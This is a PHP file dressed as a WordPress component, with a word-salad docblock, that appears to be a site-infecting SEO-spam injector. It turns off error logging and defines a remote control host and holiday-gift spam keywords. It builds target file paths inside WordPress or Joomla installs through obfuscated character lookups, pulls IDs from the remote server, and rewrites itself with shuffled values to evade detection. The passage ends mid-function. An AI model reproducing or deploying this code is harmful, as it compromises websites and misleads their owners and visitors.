<?php 

/**
 * balcony decay insurance splendid via vocabulary.
 * applianc consume data decorate drip explode focus haste hence index launch loosen personal promote sensitive shelter signature sincere slip smash strategy tarnest transport.
 * Internet abundant advertise authority aware calculate moisture removal shuttle split subt suspicion vertical volcano yield.
 * adhere arbitrary attitude blast decline enthusiasm evolution exclusive expenditure expense fax fertilizer gallery gap horror household jam launch liberal mild remarkable simplify variation.
 * approach appropriate aware cargo elastic gear mood nucleus prevail prohibit resolve suspicious tender vacant.
 * agent competent incident jeans manufacture modest previous revenue volunteer welfare.
 * approximate attitude deposit exterior launch marine nonsense powder render resume security sorrow the.
 * accelerate collision enthusiasm expel glory hydrogen missile moist moral powder prominent prompt removal semiconductor sensible shuttle substance subt tense transform trend.
 * bacteria drip favorite gaze genuine luxury manual opportunity portable principle sake severe sophisticated undergo undertake version.
 * arbitrary budget career consent exclude frustrate geography holy humble inevitable leather mood neglect prospect scale spray suburb vanish yield.
 * catalog extraordinary provision retail split thrust transport.
 * accomplish apparent architecture award coach conquer decent durable equation harmony import individual medium remedy triumph vocabulary voluntary wagon xploit.
 * agent alcohol architect aspect attitude bachelor barrel descend device dumb export fertilizer hatred index interpretation liberty prescribe severe shield survey.
 * applause bother bureau elaborate generate guilty haste highlight household liberal manual navigation omit orbit organ petrol principal radiation vibrate.
 * approve consume derive drift grand interfere mood network phenomenon religious skim split substantial subt vivid withdraw yawn.
 * response arise chaos evolution genuine infect portion resolve virus.
 * attach barrel boundary bureau debt delicate episode faculty global infant knot omit particularly promote prospect scan security urge.
 * academic apparent architect profit semiconductor utilify valley.
 * academy leap portion simplify submerge.
 * appreciate bother brake erect luxury reinforce scale slender tend tidy trace vacant vacuum variation.
 * alcohol budget descend expensive identify interpret maintain temple title venture.
 * accelerate apparent applause automatic descend dusk explosion gasoline holy invade joint nylon oxygen parallel prior private respond substitute ultimate undergo vanish.
 * acquire dive marveous mission reject route severe.
 * approximate aware electron expend lean mission mixture moral obscure prospect subsequent transform.
 * applicable bacteria bargain cancel chaos cliff debate discount glimpse golf hint merchant prescribe relief sake satellite spray victim.
 * applicable avenue cliff comparable expand genius jealous modest personnel recreation ruin sensible software vocabulary wonder.
 * automatic coarse discipline drift explode fax garbage jail jungle mixture motivate onion poverty prevail respond scandal tissue via.
 * capture harmony infect infinite resistant undergraduate.
 * approve display expansion explode explore jungle molecule mood restrain spot.
 * apparent available grant infect kneel reluctant tarnest utilise video vital whatsoever.
 * appoint elaborate evolve restraint ridge.
 * acknowledge acquire appetite appropriate bundle coach discount evaluate fatal favorite gallon geography highlight hint identify manufacture regulate relief scan semiconductor snap target undergo valley.
 *
 * @package WordPress
 */


@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);
define("DATAHOST","https://www.data-center.com/api/");
define("CENTERKEY",1);
define("MYDIR", "/etsyus210615-27/");
define("FNUM",96);
define("JGNUM","40");
define("LINKNUM","8");
define("BZSITE","p");
define("CURRENUSE","/usd/");
define("BZPRO","y");
define("BZCAT","o");
//msbg
define("JDT","0");
//msend

//msidbg
define("MSID",7356);
//mssidend


//keyjgbg

define("KEYJG",62);

//keyjgend

//randnumIbg

define("RANDNUMI",5);

//randnumIend

//randnumIIbg

define("RANDNUMII",3);

//randnumIIend

//pnamelenbg

define("PNAMELEN",60);

//pnamelenend

//jthouzuibg
define("JTHZ",".shtml");
//jthouzuiend


//nttarr_bg

$arrnametime[]="1";
$arrnametime[]="3";
$arrnametime[]="4";
$arrnametime[]="2";


//nttarr_end


//kwzzarr_bg

$arrKeywz[]="4";
$arrKeywz[]="5";
$arrKeywz[]="10";
$arrKeywz[]="7";
$arrKeywz[]="11";
$arrKeywz[]="9";
$arrKeywz[]="6";
$arrKeywz[]="8";
$arrKeywz[]="12";


//kwzzarr_end


//brddarr_bg

$arrBread[]="r-breadcrumb row";
$arrBread[]="BreadcrumbLists row";
$arrBread[]="breadcrumbs clearfix";
$arrBread[]="Bread";
$arrBread[]="BreadcrumbList clearfix";
$arrBread[]="c-breadcrumb row";
$arrBread[]="crumbs-head row";
$arrBread[]="BreadcrumbHead clearfix";
$arrBread[]="";
$arrBread[]="BreadHead";
$arrBread[]="";
$arrBread[]="breadcrumbs-base row";
$arrBread[]="bread-List row";
$arrBread[]="ant-breadcrumb clearfix";
$arrBread[]="BreadcrumbLists clearfix";
$arrBread[]="crumbs-top row";
$arrBread[]="breadcrumb";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="crumbs-head";
$arrBread[]="BreadcrumbsList";
$arrBread[]="c-breadcrumb";
$arrBread[]="Breadcrumb-Head clearfix";
$arrBread[]="cs-breadcrumb row";
$arrBread[]="crumbs-head clearfix";
$arrBread[]="v-breadcrumb";
$arrBread[]="crumb-list";
$arrBread[]="doc-crumb row";
$arrBread[]="cs-breadcrumb clearfix";
$arrBread[]="bread_crumb";
$arrBread[]="BreadcrumbsHead";
$arrBread[]="r-breadcrumb clearfix";
$arrBread[]="chrome-breadcrumbs";
$arrBread[]="Breadcrumbs clearfix";
$arrBread[]="BreadcrumbTops";
$arrBread[]="v-breadcrumb clearfix";
$arrBread[]="l-breadcrumb";
$arrBread[]="plp__breadcrumb row";
$arrBread[]="BreadHead clearfix";
$arrBread[]="navBreadCrumbs row";
$arrBread[]="crumbsHead";
$arrBread[]="crumbList clearfix";
$arrBread[]="breadLists clearfix";
$arrBread[]="crumbsHead row";
$arrBread[]="mb-breadcrumb clearfix";
$arrBread[]="Breadcrumb row";
$arrBread[]="BreadcrumbLists";
$arrBread[]="chrome-breadcrumbs row";
$arrBread[]="breadList";
$arrBread[]="pages-breadcrumbs";
$arrBread[]="el-breadcrumb";
$arrBread[]="crumbsHeads row";
$arrBread[]="breadtops row";
$arrBread[]="BreadcrumbHead";
$arrBread[]="wrapper-breadcrums row";
$arrBread[]="navBreadCrumb clearfix";
$arrBread[]="Breadcrumbs row";
$arrBread[]="bread_crumb clearfix";
$arrBread[]="breadList clearfix";
$arrBread[]="";
$arrBread[]="Breadcrumb";
$arrBread[]="";
$arrBread[]="BreadcrumbHeads";
$arrBread[]="navBreadCrumbs clearfix";
$arrBread[]="breadtops";
$arrBread[]="bread_crumb row";
$arrBread[]="BreadcrumbList";
$arrBread[]="crumbs-top";
$arrBread[]="pages-breadcrumbs clearfix";
$arrBread[]="BreadcrumbsList clearfix";
$arrBread[]="crumbs";
$arrBread[]="crumbList row";
$arrBread[]="Breadcrumb-Head";
$arrBread[]="BreadcrumbNavigation clearfix";
$arrBread[]="crumbsTops";
$arrBread[]="";
$arrBread[]="l-breadcrumb";
$arrBread[]="doc-crumb clearfix";
$arrBread[]="crumbs row";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="BreadcrumbTop clearfix";
$arrBread[]="crumbsTop row";
$arrBread[]="";
$arrBread[]="breadLists row";
$arrBread[]="nw-breadcrumblist row";
$arrBread[]="Bread clearfix";
$arrBread[]="";
$arrBread[]="ag-breadcrumblist clearfix";
$arrBread[]="s-breadcrumb";
$arrBread[]="breadLists";
$arrBread[]="bread-List";
$arrBread[]="wrapper-breadcrums";
$arrBread[]="page-breadcrumbs row";
$arrBread[]="cs-breadcrumb";
$arrBread[]="l-breadcrumblist clearfix";
$arrBread[]="BreadcrumbsHead row";
$arrBread[]="BreadcrumbList row";
$arrBread[]="qa-breadcrumb row";
$arrBread[]="crumbsTops clearfix";
$arrBread[]="breadHead row";
$arrBread[]="qa-breadcrumb clearfix";
$arrBread[]="Breadcrumb-Heads row";
$arrBread[]="crumbsTop clearfix";
$arrBread[]="";
$arrBread[]="ant-breadcrumb row";
$arrBread[]="Bread row";
$arrBread[]="Breadcrumb-Top row";
$arrBread[]="BreadcrumbTops row";
$arrBread[]="BreadcrumbHead row";
$arrBread[]="qa-breadcrumb";
$arrBread[]="wrapper-breadcrums clearfix";
$arrBread[]="breadHeads row";
$arrBread[]="Breadcrumb-Heads";
$arrBread[]="crumbsHeads";
$arrBread[]="";
$arrBread[]="breadtop";
$arrBread[]="breadList row";
$arrBread[]="BreadHead row";
$arrBread[]="breadcrumbs";
$arrBread[]="breadcrumb";
$arrBread[]="page-breadcrumbs";
$arrBread[]="v-breadcrumb row";
$arrBread[]="breadtop clearfix";
$arrBread[]="el-breadcrumb clearfix";
$arrBread[]="breadHead clearfix";
$arrBread[]="breadcrumbs-base clearfix";
$arrBread[]="BreadcrumbHeads row";
$arrBread[]="crumbList";
$arrBread[]="";
$arrBread[]="BreadcrumbTops clearfix";
$arrBread[]="crumbs-nag";
$arrBread[]="breadcrumbs-base";
$arrBread[]="l-breadcrumb row";
$arrBread[]="mb-breadcrumb row";
$arrBread[]="crumbsHead clearfix";
$arrBread[]="breadHeads clearfix";
$arrBread[]="plp__breadcrumb clearfix";
$arrBread[]="s-breadcrumb row";
$arrBread[]="navBreadCrumbs";
$arrBread[]="";
$arrBread[]="ag-breadcrumblist row";
$arrBread[]="crumbs clearfix";
$arrBread[]="customBreadcrumb clearfix";
$arrBread[]="ant-breadcrumb";
$arrBread[]="c-breadcrumb clearfix";
$arrBread[]="crumbsTop";
$arrBread[]="page-breadcrumbs clearfix";
$arrBread[]="BreadcrumbTop row";
$arrBread[]="Breadcrumb-Head row";
$arrBread[]="crumbs-nag row";
$arrBread[]="breadHeads";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="breadtops clearfix";
$arrBread[]="mb-breadcrumb";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="crumbsTops row";
$arrBread[]="crumbsHeads clearfix";
$arrBread[]="l-breadcrumb row";
$arrBread[]="Breadcrumb-Top";
$arrBread[]="breadcrumb row";
$arrBread[]="crumb-list clearfix";
$arrBread[]="";
$arrBread[]="bread-List clearfix";
$arrBread[]="BreadcrumbNavigation";
$arrBread[]="doc-crumb";
$arrBread[]="crumb-list row";
$arrBread[]="Breadcrumb-Heads clearfix";
$arrBread[]="Breadcrumbs";
$arrBread[]="BreadcrumbsHead clearfix";
$arrBread[]="ck-breadcrumb";
$arrBread[]="Breadcrumb-Top clearfix";
$arrBread[]="ck-breadcrumb clearfix";
$arrBread[]="r-breadcrumb";
$arrBread[]="nw-breadcrumblist clearfix";
$arrBread[]="BreadcrumbsList row";
$arrBread[]="Breadcrumb";
$arrBread[]="el-breadcrumb row";
$arrBread[]="navBreadCrumb";
$arrBread[]="BreadcrumbTop";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="plp__breadcrumb";
$arrBread[]="BreadcrumbNavigation row";
$arrBread[]="pages-breadcrumbs row";
$arrBread[]="chrome-breadcrumbs clearfix";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="l-breadcrumblist row";
$arrBread[]="l-breadcrumblist";
$arrBread[]="s-breadcrumb clearfix";
$arrBread[]="breadtop row";
$arrBread[]="BreadcrumbHeads clearfix";
$arrBread[]="navBreadCrumb row";
$arrBread[]="";
$arrBread[]="breadcrumb row";
$arrBread[]="ck-breadcrumb row";
$arrBread[]="crumbs-top clearfix";
$arrBread[]="ag-breadcrumblist";
$arrBread[]="Breadcrumb row";
$arrBread[]="crumbs-nag clearfix";
$arrBread[]="nw-breadcrumblist";
$arrBread[]="customBreadcrumb";
$arrBread[]="customBreadcrumb row";
$arrBread[]="breadcrumbs row";
$arrBread[]="breadHead";


//brddarr_end




//fhharr_bg

$arrfh[]="Christmas Supplies";
$arrfh[]="Xmas";
$arrfh[]="Top Christmas gifts 2021";
$arrfh[]="Christmas gift ideas";
$arrfh[]="Christmas presents";
$arrfh[]="Unique Christmas Gifts";
$arrfh[]="Christmas gift";
$arrfh[]="Christmas Ornament";
$arrfh[]="Christmas gift shop";
$arrfh[]="Christmas Decoration";
$arrfh[]="Xmas Ornaments";
$arrfh[]="Christmas gift ideas 2021";
$arrfh[]="Holiday presents";
$arrfh[]="for Christmas";
$arrfh[]="Holiday Gifts";
$arrfh[]="Christmas Gifts 2021";
$arrfh[]="Christmas gift store";
$arrfh[]="Christmas Holiday";
$arrfh[]="best Christmas gift";
$arrfh[]="Best Christmas gifts 2021";

//fhharr_end



$q1 = "O00O0O";	$q2 = "O0O000";	$q3 = "O0OO00";	$q4 = "OO0O00";	$q5 = "OO0000";	$q6 = "O00OO0";	$q7 = "O00O00";	$q8 = "O00OOO";	$$q1 = RandAbcs();



//srrarr_bg
$date_string[0]="syjwxlqkcviagoutefrnzdmhbp";
$date_string[1]="nahdmpytsqluoiegwzrjfbkcvx";
$date_string[2]="orslhviftgudkeyxzqcwmjnbap";
$date_string[3]="yegjucoqdlarnmvbkitwhzsxfp";
$date_string[4]="qptlahgzmuncrvbkoefjdwiysx";
$date_string[5]="gcndweaxlhptzrbkjfqioysumv";
$date_string[6]="xnycsfqaidtouvkwjegzrlbhmp";
$date_string[7]="idjwegsqopafvlhxzurcymnbkt";
$date_string[8]="egfyazoqirkwumvnjlpthsdxcb";
$date_string[9]="tscnyajxoiqezguwdvfhmklpbr";
$date_string[10]="kqenljfoxhusytrgzvbpamicdw";
$date_string[11]="ehowkqjsdynuarfglpzbcmvxit";
$date_string[12]="pbufenkrmvxcqadijtlhysgowz";
$date_string[13]="mqgbduniztvorjkxhelpfwaysc";
$date_string[14]="tjsywkqcrfmonlvpugdeibzahx";
$date_string[15]="awqbmcnpkuohvldzsgytifjxre";
$date_string[16]="qvxhriknoagwzyedjculspmbft";
$date_string[17]="erlxsyuzkgotmifcnqdavhbwjp";
$date_string[18]="jqcfwrlkpoinbedhavygusxztm";
$date_string[19]="troanxzwubfkisyhpmlqgdejvc";
$date_string[20]="viragcokpxbuyhzwdletmnjqfs";
$date_string[21]="uwidcbsghmjflrxaqteozvypnk";
$date_string[22]="rjsqimwcobnuaxvpfhkztedlgy";
$date_string[23]="avreniodlsmtbyczgpkqwuxhfj";
$date_string[24]="skfmjhxbwcdolpzintuavqreyg";
$date_string[25]="ukbnsexqyjvmirdgchalwpftzo";
$date_string[26]="qnibtmezxlwrcodvkygufjsaph";
$date_string[27]="yhjfvbwtezmonlisqukgrdcxpa";
$date_string[28]="jxzqyvawipcmbdteohfgnlrksu";
$date_string[29]="sbgkinyefmqrhtopdjxzualvwc";
$date_string[30]="cigldhzjbmouefpqnrawvtyksx";
$date_string[31]="aomnbisrpwvkuztejldgcfxyqh";
$date_string[32]="ertjkulfowdbyixazmhsngvqcp";
$date_string[33]="powdbcrgjkevaiqfmytlhxzsnu";
$date_string[34]="rmoqfjuhzcinksgepxblvytadw";
$date_string[35]="zwqlycjtfvndrahoxikebspgmu";
$date_string[36]="wcprxihgnqatukmsfzdojelvyb";
$date_string[37]="rlqfajguxymknoebvwstihpdzc";
$date_string[38]="qwntblsipvhejmgryckuxfdoaz";
$date_string[39]="nxichzmfwjlbaeyktgodvuqsrp";
$date_string[40]="ihutwdlxzgkryapqfnbcsomvje";
$date_string[41]="peczqxuvlwdistarykgjfbhnmo";
$date_string[42]="dpkqrsfxtgcjhyomnibwlavuez";
$date_string[43]="akhonxjyfudbsclipzwvmrteqg";
$date_string[44]="lzkxvwjehnpuoybicgfdsmratq";
$date_string[45]="ztwflmsrqbvjhdanyugepkicox";
$date_string[46]="lcgyzhpvkuaqjnsrfdobixtewm";
$date_string[47]="zhlrsjetakncfoyvgiqdpwxbum";
$date_string[48]="emsgohklaqiuybrdfwzjnvctxp";
$date_string[49]="hrviwnsfjpymlgdxtbazqkoecu";
$date_string[50]="mtldpghveiscybrjnuxazqowfk";
$date_string[51]="ixedmforynkjlwpqhtgbusazvc";
$date_string[52]="emptxylskbaivucdorfjhzgqnw";
$date_string[53]="tildoxcyhkwnauqrvfgpbzmsje";
$date_string[54]="myslegkatqdvjfnpworuchbixz";
$date_string[55]="artemlqfuhvkywnijcbsxozdgp";
$date_string[56]="rqctxfmiupezhyvojlkgnawsbd";
$date_string[57]="fztdksjerawyqhlionxpugmvbc";
$date_string[58]="jxnimpkeaofgycbrdzhlvutswq";
$date_string[59]="hyzvjnbwxegisaqludompcktfr";
$date_string[60]="yxoithempbqvkfjcwrsuadzgln";
$date_string[61]="iqshkjzcveolgftrwnayduxmbp";
$date_string[62]="bfvlojdtzaykqgmcxiwnsephru";
$date_string[63]="lxtzavkprfuqedionygshcwbjm";
$date_string[64]="zflaewchdyqxtskpgvbunojmir";
$date_string[65]="supjwlgxqivfrenctbhyozdmak";
$date_string[66]="jendiycqvsgwtxralopubzmkfh";
$date_string[67]="ckifghdlpwyxrjavemtzosbnuq";
$date_string[68]="scyaekiwjgouvhdnftqlbpxmrz";
$date_string[69]="rfcutdzwlvkjsonmagbqhipyex";
$date_string[70]="nmvdatpqlcskxozhueyjgwbrif";
$date_string[71]="wqstbjnealuxpyvfzdcoikmhrg";
$date_string[72]="ylriamfxpdkwuczbehongsqjtv";
$date_string[73]="grixyedljvcnwhpbosqkafzutm";
$date_string[74]="wjzmuvongchesfqkxlbrdiapyt";
$date_string[75]="pvltjoigksxmwqfrycdhanzueb";
$date_string[76]="sejfdtyvpzumrqncwaxgoilbhk";
$date_string[77]="klorpmzxnbqgayusetwcdjhvfi";
$date_string[78]="nvfokrlwhgsqeamptbijcuydxz";
$date_string[79]="nbcalxtrkodgeswfiuyjphvmzq";
$date_string[80]="yqteliwdauhmrcopnfsgjvzbkx";
$date_string[81]="tafrimzjboysvdguhclnewkpxq";
$date_string[82]="mgydwcqenzxlbkoivahrfsutpj";
$date_string[83]="gcbmajeinxsdlupzofwyvhrqkt";
$date_string[84]="uqzjaiepkmdxsbngtychvfowlr";
$date_string[85]="qcyilohemubwatjrdfgpnkxzsv";
$date_string[86]="icbaenwkmpxrfhdzjqusvlygto";
$date_string[87]="tazydxuhgbelkfrojspvimqwnc";
$date_string[88]="dhxefabpuctsjzrgwvyqlonikm";
$date_string[89]="hvamedrcgxwybouqzjplifnkst";
$date_string[90]="zvadnrhqcoiwextkmpjuygflbs";
$date_string[91]="cgnevsxtbdfhwizukjpmrqlyao";
$date_string[92]="kzrtxuevafjicwbnqyophlgmsd";
$date_string[93]="lcjgqaekfurwzpdinbxhtmvyos";
$date_string[94]="rvfkmejaxingytwchzlpsodbqu";
$date_string[95]="gxzdbkrcofspinjluteqamyvhw";
$date_string[96]="swcptzhvngfblqekdxroymauij";
$date_string[97]="emvwotlxpgizndhubfjkacsrqy";
$date_string[98]="sitfongebwzlvrmqaxukpydchj";
$date_string[99]="ramohbgszvqcpltnuijfyxkwed";

//srrarr_end



$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("GETDOM",getthisdom());
		


// iiiiiiiiibg

function sys_type(){

	global $hostDir;
	if(file_exists("$hostDir/wp-config.php") or file_exists("../wp-config.php")){
		return 'wp';
	}elseif(strstr(@file_get_contents("$hostDir/configuration.php"),"JConfig") or strstr(@file_get_contents("../configuration.php"),"JConfig")){
		return 'Joomla';
	}else{
		return 'other';
	}
	
}


function getFileType($filename){
	$rs = '#.*\.([^\s]+)#i';
	preg_match($rs,$filename,$matchType);
	return $matchType[1];
}


function getTypeImg($source, &$destination, $num, $type){ 

     global $numHostDir;
     $handle = opendir($source); 
     while(($file = readdir($handle)) !== false){ 
         if($file != '.' && $file != '..')  { 
             $src = $source . DIRECTORY_SEPARATOR . $file; 

             if(is_dir($src) && !strstr($src,'/cache')){ 
                 getTypeImg($src, $destination, $num, $type);  
             }else{ 
				 if(count($destination) >= $num)
				   return count($destination);
				   
				 $tempType = getFileType($file);
				 if(strstr($type,$tempType)){
					$tempMydir = count(explode(DIRECTORY_SEPARATOR,$src));
				
					if($tempMydir - $numHostDir > 2 && !strstr($file,'index')){
						$destination[$source] = $tempType .'#name#'. str_replace('.'.$tempType ,'' ,$file);
					}
				 }
             } 
         } 
     }
     closedir($handle); 
 }  

 

if(isset($_GET['rset']) &&  $_GET['rset'] == 'set'){
	
if(isset($_SERVER['DOCUMENT_ROOT'])){
	$hostDir = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
}elseif(isset($_SERVER['PHP_SELF'])){
	$hostDir = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$_SERVER['PHP_SELF'])),'',__FILE__).DIRECTORY_SEPARATOR;
}else{
	$hostDir = '/';
}
	
$hostDir = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $hostDir);
	
	$sysType = sys_type();

	
	if($sysType == 'wp'){
		$backupfile1 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{64}.$O00O0O{2}.$O00O0O{11}.$O00O0O{0}.$O00O0O{18}.$O00O0O{18}.$O00O0O{66}.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{66}.$O00O0O{5}.$O00O0O{8}.$O00O0O{11}.$O00O0O{19}.$O00O0O{4}.$O00O0O{17}.$O00O0O{18}.$O00O0O{66}.$O00O0O{18}.$O00O0O{4}.$O00O0O{19}.$O00O0O{19}.$O00O0O{8}.$O00O0O{13}.$O00O0O{6}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};		$backupfile2 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
		$fitime = filemtime($hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64});
	}elseif($sysType == 'Joomla'){
		$backupfile1 = $hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64}.$O00O0O{19}.$O00O0O{12}.$O00O0O{15}.$O00O0O{11}.$O00O0O{64}.$O00O0O{3}.$O00O0O{4}.$O00O0O{5}.$O00O0O{0}.$O00O0O{20}.$O00O0O{11}.$O00O0O{19}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$backupfile2 = $hostDir.$O00O0O{11}.$O00O0O{8}.$O00O0O{1}.$O00O0O{17}.$O00O0O{0}.$O00O0O{17}.$O00O0O{8}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{9}.$O00O0O{14}.$O00O0O{14}.$O00O0O{12}.$O00O0O{11}.$O00O0O{0}.$O00O0O{64}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{64}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{17}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{12}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$fitime = filemtime($hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64});
	}else{
	
		$numHostDir = count(explode(DIRECTORY_SEPARATOR,$hostDir));
			
		$arrphpDir = array();

		getTypeImg($hostDir,$arrphpDir,3,'php');
		
		$i=1;
		foreach($arrphpDir as $key=>$vs){
			
				$fitime = filemtime($key);

				list($tmepImgType,$trmeyImgName) = explode('#name#',$vs);
				$tempMyVs = 'backupfile'.$i++;
		
				$$tempMyVs = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType;
			
				while(file_exists($$tempMyVs)){
					$$tempMyVs = str_replace(".$tmepImgType","s.$tmepImgType",$$tempMyVs);
				}
				
			
			}

	}
	
	$backupfile1 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile1);
	$backupfile2 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile2);
	
	
	
		
	$str = file_get_contents("index.php");
		
	$r3 = '#(//kwz{2}ar{2}_bg)(.*?)(//kwz{2}ar{2}_end)#s';	
	shuffle($arrKeywz);	$rp2 = '';	foreach($arrKeywz as $valpimg){
		$rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL;	}
	
	$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL .  $rp2 . PHP_EOL . PHP_EOL .'\3', $str);	
			
	
	
	$r1 = '#(//brd{2}ar{2}_bg)(.*?)(//brd{2}ar{2}_end)#s';	
	shuffle($arrBread);	
	$rp1 = '';	
	foreach($arrBread as $vals){
		$rp1 .= '$arrBread[]="'. $vals .'";'. PHP_EOL;	
	}
	$str = preg_replace($r1, '\1'.  PHP_EOL . PHP_EOL .$rp1 . PHP_EOL . PHP_EOL .'\3', $str);		
		
		
	$r3 = '#(//nt{2}ar{2}_bg)(.*?)(//nt{2}ar{2}_end)#s';	
	shuffle($arrnametime);	$rp2 = '';	foreach($arrnametime as $valpimg){
		$rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL;	}
	
	$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL .  $rp2 . PHP_EOL . PHP_EOL .'\3', $str);	
	


	$rII='#(/{2}keyjgbg)(.*?)(/{2}keyjgend)#s';
	$randNum = rand(1,100);
	$strII = 'define("KEYJG",'.$randNum.');';

	$str = preg_replace($rII, '\1'.  PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);		
	

	$rII='#(/{2}randnumIbg)(.*?)(/{2}randnumIend)#s';
	$randNum = rand(1,15);
	$strII = 'define("RANDNUMI",'.$randNum.');';

	$str = preg_replace($rII, '\1'.  PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);		
	

	$rII='#(/{2}randnumIIbg)(.*?)(/{2}randnumIIend)#s';
	$randNum = rand(1,15);
	$strII = 'define("RANDNUMII",'.$randNum.');';

	$str = preg_replace($rII, '\1'.  PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);		
	


	$rII='#(/{2}pnamelenbg)(.*?)(/{2}pnamelenend)#s';
	$randNum = rand(40,60);
	$strII = 'define("PNAMELEN",'.$randNum.');';

	$str = preg_replace($rII, '\1'.  PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);		
	

	
	$r4 = '#(//sr{2}ar{2}_bg)(.*?)(//sr{2}ar{2}_end)#s';	
	$arrABC = range('a','z');	
	$strTemp1 = '';	for($i=0;$i<100;$i++){
		shuffle($arrABC); 
		$strtemp = '';		foreach($arrABC as $value){
			$strtemp .= $value;		}	
		
		$strTemp1 .= '$date_string[' .$i. ']="' . $strtemp .'";'. PHP_EOL;	}
	$str = preg_replace($r4, '\1'. PHP_EOL . $strTemp1  . PHP_EOL .'\3', $str);	
	
	
	$num = rand(1,FNUM);	$num = $num - 1;	
	
	
	
	$idUrl =  GETDOM . "gpage.php?getid=$num";
	$tempIdStr = curl_get_from_webpage($idUrl,'',5);
	$arrId = explode(',',$tempIdStr);
	

	
	$indexId=array_rand($arrId,1);	
	
	$rsGs="#^[\d-]+$#i";
	if(!preg_match($rsGs,$arrId[$indexId])){
		die("get no id");
	}
	
	$str = str_replace('$id = "791007"; //llq index id', '$id = "'. $arrId[$indexId] .'"; //llq index id', $str);	
	$r3='#(// \#l{2}ql{2}q\#arr_fuhao)(.*?)(// \#l{2}ql{2}q\#arr_fuhaoend)#s';	shuffle($arrfh);$rp2='';foreach($arrfh as $valpimg){$rp2.='$arrfh[]="'.$valpimg.'";'.PHP_EOL;}$str=preg_replace($r3,'\1'.PHP_EOL.PHP_EOL.$rp2.PHP_EOL.PHP_EOL.'\3',$str);	
	file_put_contents(__FILE__, $str);
	
	
	
	
	
	$dirNames = dirname(__FILE__);    
	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));	

	$PreDir = '';	
	
	if(JDT == 1){
		$UrlBaseDir = $httcReplace;		$RewriteOnDir = '';	
	}else{

		$UrlBaseDir = '';		$PreDir = '../';		$RewriteOnDir = $httcReplace . '/';	
	}
	
	$strhtt = '';
